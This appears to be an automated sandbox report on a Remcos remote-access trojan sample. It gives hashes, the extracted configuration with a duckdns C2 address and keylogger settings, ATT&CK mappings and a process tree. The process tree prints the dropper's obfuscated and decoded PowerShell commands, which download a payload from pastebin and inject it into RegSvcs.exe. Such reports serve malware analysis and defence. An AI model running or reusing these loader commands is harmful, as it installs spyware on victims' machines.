remcos | 4ab223a4ed0eaced6dc3a2cc74953a453770bb030336f349cd37f2ef24b65c30

General

Target

sostener.vbs
Size

2.8MB
MD5

9f31e7ec269ef7f755b7bd75e0579b18
SHA1

bdfa3e314195f23437a420782b4912e60a685a96
SHA256

4ab223a4ed0eaced6dc3a2cc74953a453770bb030336f349cd37f2ef24b65c30
SHA512

9aec4444247c4f4b8c0a0203dec53abc3fe64de2c2e86de79e57ecd003920d2ffacef90c09afcfdb51e61df98dcc3423feeaa97eade1a6e6854adc8ff10e8b3c
SSDEEP

192:8rkrkrErErErErErkrkrErErErErErkrkrErErErErErkrkrErErErErErkrkrE1:2WPE09IvR4

Score

10^/10

remcos matrix fenix*discovery execution rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://pastebin.com/raw/V9y5Q5vv

Extracted

Family

remcos

Botnet

Matrix Fenix*

C2

newssssssssssssss.duckdns.org:2404

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
registros.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-XDNGQ0
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Capturas de pantalla
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	2832	powershell.exe
10	2832	powershell.exe
15	2832	powershell.exe
22	2832	powershell.exe
32	2832	powershell.exe
34	2832	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1302416131-1437503476-2806442725-1000\Control Panel\International\Geo\Nation	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe
468	powershell.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

flow	ioc
7	pastebin.com
10	pastebin.com
14	bitbucket.org
15	bitbucket.org

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2832 set thread context of 1968	2832	powershell.exe	93

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
468	powershell.exe
468	powershell.exe
2832	powershell.exe
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	468	powershell.exe
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1968	RegSvcs.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 5080 wrote to memory of 468	5080	WScript.exe	83
PID 5080 wrote to memory of 468	5080	WScript.exe	83
PID 468 wrote to memory of 2832	468	powershell.exe	85
PID 468 wrote to memory of 2832	468	powershell.exe	85
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93
PID 2832 wrote to memory of 1968	2832	powershell.exe	93

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5080
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $MkplqW = 'J☼Bn☼G4☼dQBk☼H☼☼I☼☼9☼C☼☼Jw☼w☼Cc☼Ow☼k☼Gw☼ZQB3☼G8☼ag☼g☼D0☼I☼☼n☼CU☼c☼B6☼EE☼YwBP☼Gc☼SQBu☼E0☼cg☼l☼Cc☼OwBb☼FM☼eQBz☼HQ☼ZQBt☼C4☼TgBl☼HQ☼LgBT☼GU☼cgB2☼Gk☼YwBl☼F☼☼bwBp☼G4☼d☼BN☼GE☼bgBh☼Gc☼ZQBy☼F0☼Og☼6☼FM☼ZQBy☼HY☼ZQBy☼EM☼ZQBy☼HQ☼aQBm☼Gk☼YwBh☼HQ☼ZQBW☼GE☼b☼Bp☼GQ☼YQB0☼Gk☼bwBu☼EM☼YQBs☼Gw☼YgBh☼GM☼aw☼g☼D0☼I☼B7☼CQ☼d☼By☼HU☼ZQB9☼Ds☼WwBT☼Hk☼cwB0☼GU☼bQ☼u☼E4☼ZQB0☼C4☼UwBl☼HI☼dgBp☼GM☼ZQBQ☼G8☼aQBu☼HQ☼TQBh☼G4☼YQBn☼GU☼cgBd☼Do☼OgBT☼GU☼YwB1☼HI☼aQB0☼Hk☼U☼By☼G8☼d☼Bv☼GM☼bwBs☼C☼☼PQ☼g☼Fs☼UwB5☼HM☼d☼Bl☼G0☼LgBO☼GU☼d☼☼u☼FM☼ZQBj☼HU☼cgBp☼HQ☼eQBQ☼HI☼bwB0☼G8☼YwBv☼Gw☼V☼B5☼H☼☼ZQBd☼Do☼OgBU☼Gw☼cw☼x☼DI☼OwBb☼EI☼eQB0☼GU☼WwBd☼F0☼I☼☼k☼Hc☼eQBh☼HY☼eQ☼g☼D0☼I☼Bb☼HM☼eQBz☼HQ☼ZQBt☼C4☼QwBv☼G4☼dgBl☼HI☼d☼Bd☼Do☼OgBG☼HI☼bwBt☼EI☼YQBz☼GU☼Ng☼0☼FM☼d☼By☼Gk☼bgBn☼Cg☼I☼☼o☼E4☼ZQB3☼C0☼TwBi☼Go☼ZQBj☼HQ☼I☼BO☼GU☼d☼☼u☼Fc☼ZQBi☼EM☼b☼Bp☼GU☼bgB0☼Ck☼LgBE☼G8☼dwBu☼Gw☼bwBh☼GQ☼UwB0☼HI☼aQBu☼Gc☼K☼☼g☼Cg☼TgBl☼Hc☼LQBP☼GI☼agBl☼GM☼d☼☼g☼E4☼ZQB0☼C4☼VwBl☼GI☼QwBs☼Gk☼ZQBu☼HQ☼KQ☼u☼EQ☼bwB3☼G4☼b☼Bv☼GE☼Z☼BT☼HQ☼cgBp☼G4☼Zw☼o☼Cc☼a☼B0☼HQ☼c☼☼6☼C8☼LwBw☼GE☼cwB0☼GU☼YgBp☼G4☼LgBj☼G8☼bQ☼v☼HI☼YQB3☼C8☼Vg☼5☼Hk☼NQBR☼DU☼dgB2☼Cc☼KQ☼g☼Ck☼I☼☼p☼Ds☼WwBz☼Hk☼cwB0☼GU☼bQ☼u☼EE☼c☼Bw☼EQ☼bwBt☼GE☼aQBu☼F0☼Og☼6☼EM☼dQBy☼HI☼ZQBu☼HQ☼R☼Bv☼G0☼YQBp☼G4☼LgBM☼G8☼YQBk☼Cg☼J☼B3☼Hk☼YQB2☼Hk☼KQ☼u☼Ec☼ZQB0☼FQ☼eQBw☼GU☼K☼☼n☼EM☼b☼Bh☼HM☼cwBM☼Gk☼YgBy☼GE☼cgB5☼DM☼LgBD☼Gw☼YQBz☼HM☼MQ☼n☼Ck☼LgBH☼GU☼d☼BN☼GU☼d☼Bo☼G8☼Z☼☼o☼Cc☼TQBz☼HE☼QgBJ☼GI☼WQ☼n☼Ck☼LgBJ☼G4☼dgBv☼Gs☼ZQ☼o☼CQ☼bgB1☼Gw☼b☼☼s☼C☼☼WwBv☼GI☼agBl☼GM☼d☼Bb☼F0☼XQ☼g☼Cg☼Jw☼w☼C8☼e☼BS☼HU☼NQBM☼C8☼Z☼☼v☼GU☼ZQ☼u☼GU☼d☼Bz☼GE☼c☼☼v☼C8☼OgBz☼H☼☼d☼B0☼Gg☼Jw☼g☼Cw☼I☼☼k☼Gw☼ZQB3☼G8☼ag☼g☼Cw☼I☼☼n☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼XwBf☼F8☼Xw☼t☼C0☼LQ☼t☼C0☼LQ☼t☼Cc☼L☼☼g☼CQ☼ZwBu☼HU☼Z☼Bw☼Cw☼I☼☼n☼DE☼Jw☼s☼C☼☼JwBS☼G8☼Z☼Bh☼Cc☼I☼☼p☼Ck☼Ow☼=';$KByHL = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $MkplqW.replace('☼','A') ) );$KByHL = $KByHL.replace('%pzAcOgInMr%', 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs');powershell -command $KByHL;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:468
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$gnudp = '0';$lewoj = 'C:\Users\Admin\AppData\Local\Temp\sostener.vbs';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;[Byte[]] $wyavy = [system.Convert]::FromBase64String( (New-Object Net.WebClient).DownloadString( (New-Object Net.WebClient).DownloadString('http://pastebin.com/raw/V9y5Q5vv') ) );[system.AppDomain]::CurrentDomain.Load($wyavy).GetType('ClassLibrary3.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('0/xRu5L/d/ee.etsap//:sptth' , $lewoj , '____________________________________________-------', $gnudp, '1', 'Roda' ));"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2832
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of SetWindowsHookEx
      PID:1968

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\ProgramData\remcos\registros.dat

Filesize
144B

MD5
ae3cd7bb41b337e314e811d022b907a6

SHA1
69f328fc1066105cc82bcc0fe1d80ea375d6c20f

SHA256
c6f77c05d98951f37f1abd8b225bc2259b354a8ab8c56591ed291f7505fd366d

SHA512
aa720fbe3f2c06c49d2d4e6e4c847ebab543c0d976179bd7fbda378a615a64353a21141f7442a02b1e8a2e0253fba5d1faea4bf9228e3433eab1dc159826e888

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
f41839a3fe2888c8b3050197bc9a0a05

SHA1
0798941aaf7a53a11ea9ed589752890aee069729

SHA256
224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

SHA512
2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
367b1c81198bfdcdba813c2c336627a3

SHA1
37fe6414eafaaed4abb91c1aafde62c5b688b711

SHA256
1141e163d84d5ef0038593c866647f27c55510de2147dc1578130e518a22cced

SHA512
e0493957e6602efb156d372e5e66147056f6e3c2e01996ba9b4e04f82b2b1e4c7236d0e3681dce9ab4911a62546b6a141f1ae731de6e8184e758caf120cf594b

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5i15r2ji.4yh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/468-0-0x00007FF91DF80000-0x00007FF91E0AA000-memory.dmp

Filesize
1.2MB

Download
memory/468-1-0x00007FF91DF80000-0x00007FF91E0AA000-memory.dmp

Filesize
1.2MB

Download
memory/468-8-0x000001D2BF6F0000-0x000001D2BF712000-memory.dmp

Filesize
136KB

Download
memory/468-2-0x00007FF91DF80000-0x00007FF91E0AA000-memory.dmp

Filesize
1.2MB

Download
memory/468-31-0x00007FF91DF80000-0x00007FF91E0AA000-memory.dmp

Filesize
1.2MB

Download
memory/1968-36-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-51-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-24-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-32-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-35-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-75-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-38-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-37-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-39-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-42-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-43-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-74-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-50-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-30-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-59-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-58-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/1968-66-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2832-22-0x000001FFE2680000-0x000001FFE2688000-memory.dmp

Filesize
32KB

Download
memory/2832-23-0x000001FFE2E70000-0x000001FFE2E7A000-memory.dmp

Filesize
40KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads